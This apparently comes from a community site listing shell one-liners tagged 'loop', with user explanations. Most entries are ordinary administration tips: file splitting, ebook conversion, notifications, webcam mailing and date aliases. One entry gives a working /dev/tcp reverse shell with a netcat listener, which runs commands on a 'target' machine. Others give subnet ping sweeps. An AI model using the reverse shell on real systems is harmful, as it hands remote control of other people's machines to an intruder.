Commands tagged loop (28)

  • This takes a picture (with the web cam) every 5 minutes, and send the picture to your e-mail. Some systems support mail -a "References: " so that all video surveillance emails are grouped in a single email thread. To keep your inbox clean, it is still possible to filter and move to trash video surveillance emails (and restore these emails only if you really get robbed!) For instance with Gmail, emails sent to me+trash@gmail.com can be filtered with "Matches: DeliveredTo:me+trash@gmail.com" Show Sample Output


    2
    while true ; do fswebcam -d /dev/video0 -r 1280x1024 -F 15 - | uuencode $(date +\%Y\%m\%d\%H\%M).jpeg | mail -s "Video surveillance" me@gmail.com ; sleep 300 ; done
    pascalv · 2016-08-09 14:22:45 0
  • It's common to want to split up large files and the usual method is to use split(1). If you have a 10GiB file, you'll need 10GiB of free space. Then the OS has to read 10GiB and write 10GiB (usually on the same filesystem). This takes AGES. . The command uses a set of loop block devices to create fake chunks, but without making any changes to the file. This means the file splitting is nearly instantaneous. The example creates a 1GiB file, then splits it into 16 x 64MiB chunks (/dev/loop0 .. loop15). . Note: This isn't a drop-in replacement for using split. The results are block devices. tar and zip won't do what you expect when given block devices. . These commands will work: hexdump /dev/loop4 . gzip -9 < /dev/loop6 > part6.gz . cat /dev/loop10 > /media/usb/part10.bin Show Sample Output


    5
    FILE=file_name; CHUNK=$((64*1024*1024)); SIZE=$(stat -c "%s" $FILE); for ((i=0; i < $SIZE; i+=$CHUNK)); do losetup --find --show --offset=$i --sizelimit=$CHUNK $FILE; done
    flatcap · 2014-10-03 13:18:19 2
  • A nice way to interrupt a sleep with a signal. Show Sample Output


    1
    sleep 10 & wait $!
    yorkou · 2014-09-25 13:33:51 0
  • This is sneaky. First, start a listening service on your box. nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done You can send it to the background like this: (exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client. Show Sample Output


    8
    exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
    somaddict · 2012-11-16 02:48:01 0
  • I just found another use for the builtin ':' bash command. It increments counters for me in a loop if a certain condition is met... : [arguments] No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned. Show Sample Output


    2
    [ $V ] || : $((V++)) && echo $V
    axelabs · 2012-06-15 16:48:03 0
  • Without extra css, just run it


    0
    for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize --enable-heuristics;done
    exr · 2011-11-25 01:45:32 0
  • Use acpi and notify-send to report current temperature every five minutes. Works best in a shell script run at startup. acpi is called for temperature and fed to notify-send for a tooltip. After waiting five minutes, it will start over.


    1
    while notify-send "`acpi -t`"; do sleep 300; done
    unixmonkey8046 · 2011-07-05 18:22:06 0
  • works best in a shell script run at startup. It will ping localhost once and output to null, after it does that, acpi is called for temperature in fahrenheit and piped through to another loop that feeds notify-send for a tooltip. After waiting five minutes, it will start over. Show Sample Output


    2
    while ping -c 1 127.0.0.1 > /dev/null; do acpi -t -f | while read tem; do notify-send "$tem"; done; sleep 300; done
    c0de · 2011-07-02 06:47:25 2
  • all ebook-convert -options are optional. all you really need to pass ebook-convert is the incoming and outgoing names, with extensions. Has been tested on Ubuntu 10.10


    1
    for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --extra-css="/yourdir/calibre.css" --asciiize --enable-heuristics;done
    rsimpson · 2011-04-19 15:36:27 0

  • 3
    losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/
    oernii3 · 2010-10-30 11:52:11 3
  • At times I find that I need to loop through a file where each value that I need to do something with is not on a separate line, but rather separated with a ":" or a ";". In this instance, I create a loop within which I define 'IFS' to be something other than a whitespace character. In this example, I iterate through a file which only has one line, and several fields separated with ":". The counter helps me define how many times I want to repeat the loop.


    0
    while [[ COUNTER -le 10 && IFS=':' ]]; do for LINE in $(cat /tmp/list); do some_command(s) $LINE; done; COUNTER=$((COUNTER+1)); done
    slashdot · 2010-09-01 15:09:59 0
  • Usually the MS-DOS cmd.exe processes in the whole FOR loop as one command and expands each var like %varname% in before (except the loop var of course). This command enables expansion of other vars than only the loop var during the FOR loop. The syntax of the var to expand is then !varname! inside the FOR loop. Use command endlocal to end the setlocal command. E.g. (only works from batch files, not from commandline directly): @echo off setlocal enabledelayedexpansion FOR %%A IN (*) DO ( set file=%%A echo !file! ) endlocal


    -1
    setlocal enabledelayedexpansion
    Marco · 2010-08-10 12:26:43 2
  • Loops over array of a system var, splits its values and puts the values into %A, %B, %C, %D, and so on. Create array before, like set ARRAY[0]=test1,100 and set ARRAY[1]=test2,200 Be sure to replace %A, %B, etc. with %%A, %%B, etc. when using this from inside of batch files. Show Sample Output


    -2
    FOR /F "tokens=3* delims=[]=," %A IN ('SET ARRAY[') DO ( echo %A -- %B )
    Marco · 2010-08-10 12:12:27 2
  • This command loops over all indexes of the system variable array ARRAY[] and puts its content into %A. Create this array before, e.g. by set ARRAY[0]=test1 and set ARRAY[1]=test2 For using inside of a batch file, write %%A instead of %A. Show Sample Output


    -3
    FOR /F "tokens=3* delims=[]=" %A IN ('SET ARRAY[') DO ( echo %A )
    Marco · 2010-08-10 12:08:26 0
  • This is a command template for achiving the following: * loop over files --> find -name "" | while read file; do ...; done * output progress --> echo -n . * execute some command on each file and save output for later usage --> output=$() * if command failed, open subshell and echo newline --> || (echo;...;...;) * echo output of command --> echo "$output" Show Sample Output


    2
    find <dir> -name "<pattern>" | while read file; do echo -n .; output=$(<command>) || (echo ; echo $file:; echo "$output"; ); done
    Marco · 2010-08-10 11:45:31 0
  • Ssh to host1, host2, and host3, executing on each host and saving the output in {host}.log. I don't have the 'parallel' command installed, otherwise it sounds interesting and less cryptic.


    1
    for host in host1 host2 host3; do ssh -n user@$host <command> > $host.log & done; wait
    cout · 2010-07-14 14:55:31 0

  • -2
    for i in 192.168.1.{1..254} ; do if ping -c1 -w1 $i &>/dev/null; then echo $i alive; fi; done
    wiburg · 2010-06-12 18:38:36 0
  • This shows every bit of information that stat can get for any file, dir, fifo, etc. It's great because it also shows the format and explains it for each format option. If you just want stat help, create this handy alias 'stath' to display all format options with explanations. alias stath="stat --h|sed '/Th/,/NO/!d;/%/!d'" To display on 2 lines: ( F=/etc/screenrc N=c IFS=$'\n'; for L in $(sed 's/%Z./%Z\n/'<<<`stat --h|sed -n '/^ *%/s/^ *%\(.\).*$/\1:%\1/p'`); do G=$(echo "stat -$N '$L' \"$F\""); eval $G; N=fc;done; ) For a similarly powerful stat-like function optimized for pretty output (and can sort by any field), check out the "lll" function http://www.commandlinefu.com/commands/view/5815/advanced-ls-output-using-find-for-formattedsortable-file-stat-info From my .bash_profile -> http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html Show Sample Output


    3
    statt(){ C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; }
    AskApache · 2010-06-11 23:31:03 0
  • Works on any machine with nmap installed. Previous version does not work on machines without "seq". Also works on subnets of any size. Show Sample Output


    21
    nmap -sP 192.168.1.0/24
    sdadh01 · 2010-06-05 14:48:37 2

  • 0
    for ip in `seq 1 255`; do ping -c 1 192.168.1.$ip ; done | grep ttl
    takeshin · 2010-06-05 13:15:06 1
  • If you have used bash for any scripting, you've used the date command alot. It's perfect for using as a way to create filename's dynamically within aliases,functions, and commands like below.. This is actually an update to my first alias, since a few commenters (below) had good observations on what was wrong with my first command. # creating a date-based ssh-key for askapache.github.com ssh-keygen -f ~/.ssh/`date +git-$USER@$HOSTNAME-%m-%d-%g` -C 'webmaster@askapache.com' # /home/gpl/.ssh/git-gplnet@askapache.github.com-04-22-10 # create a tar+gzip backup of the current directory tar -czf $(date +$HOME/.backups/%m-%d-%g-%R-`sed -u 's/\//#/g' <<< $PWD`.tgz) . # tar -czf /home/gpl/.backups/04-22-10-01:13-#home#gpl#.rr#src.tgz . I personally find myself having to reference date --help quite a bit as a result. So this nice alias saves me a lot of time. This is one bdash mofo. Works in sh and bash (posix), but will likely need to be changed for other shells due to the parameter substitution going on.. Just extend the sed command, I prefer sed to pretty much everything anyways.. but it's always preferable to put in the extra effort to go for as much builtin use as you can. Otherwise it's not a top one-liner, it's a lazyboy recliner. Here's the old version: alias dateh='date --help|sed "/^ *%%/,/^ *%Z/!d;s/ \+/ /g"|while read l;do date "+ %${l/% */}_${l/% */}_${l#* }";done|column -s_ -t' This trick from my [ http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html bash_profile ] Show Sample Output


    21
    alias dateh='date --help|sed -n "/^ *%%/,/^ *%Z/p"|while read l;do F=${l/% */}; date +%$F:"|'"'"'${F//%n/ }'"'"'|${l#* }";done|sed "s/\ *|\ */|/g" |column -s "|" -t'
    AskApache · 2010-04-21 01:22:18 5
  • Changed out the for loop for an xargs. It's a tad shorter, and a tad cleaner.


    1
    find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %
    4fthawaiian · 2010-02-01 21:09:57 0
  • Recursively replace a string in files with lines matching string. Lines with the string "group name" will have the first > character replaced while other > characters on other lines will be ignored. Show Sample Output


    0
    for i in `find . -type f`; do sed -i '/group name/s/>/ deleteMissing="true">/' $i; done
    allrightname · 2010-02-01 17:16:37 0
  • Displays a scrolling banner which loops until you hit Ctrl-C to terminate it. Make sure you finish your banner message with a space so it will loop nicely.


    11
    while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
    craigds · 2009-12-14 07:40:07 2
  • Very useful in shell scripts because you can run a task nicely in the background using job-control and output progress until it completes. Here's an example of how I use it in backup scripts to run gpg in the background to encrypt an archive file (which I create in this same way). $! is the process ID of the last run command, which is saved here as the variable PI, then sleeper is called with the process id of the gpg task (PI), and sleeper is also specified to output : instead of the default . every 3 seconds instead of the default 1. So a shorter version would be sleeper $!; The wait is also used here, though it may not be needed on your system. echo ">>> ENCRYPTING SQL BACKUP" gpg --output archive.tgz.asc --encrypt archive.tgz 1>/dev/null & PI=$!; sleeper $PI ":" 3; wait $PI && rm archive.tgz &>/dev/null Previously to get around the $! not always being available, I would instead check for the existance of the process ID by checking if the directory /proc/$PID existed, but not everyone uses proc anymore. That version is currently the one at http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html but I plan on upgrading to this new version soon. Show Sample Output


    13
    sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
    AskApache · 2009-09-21 07:36:25 1
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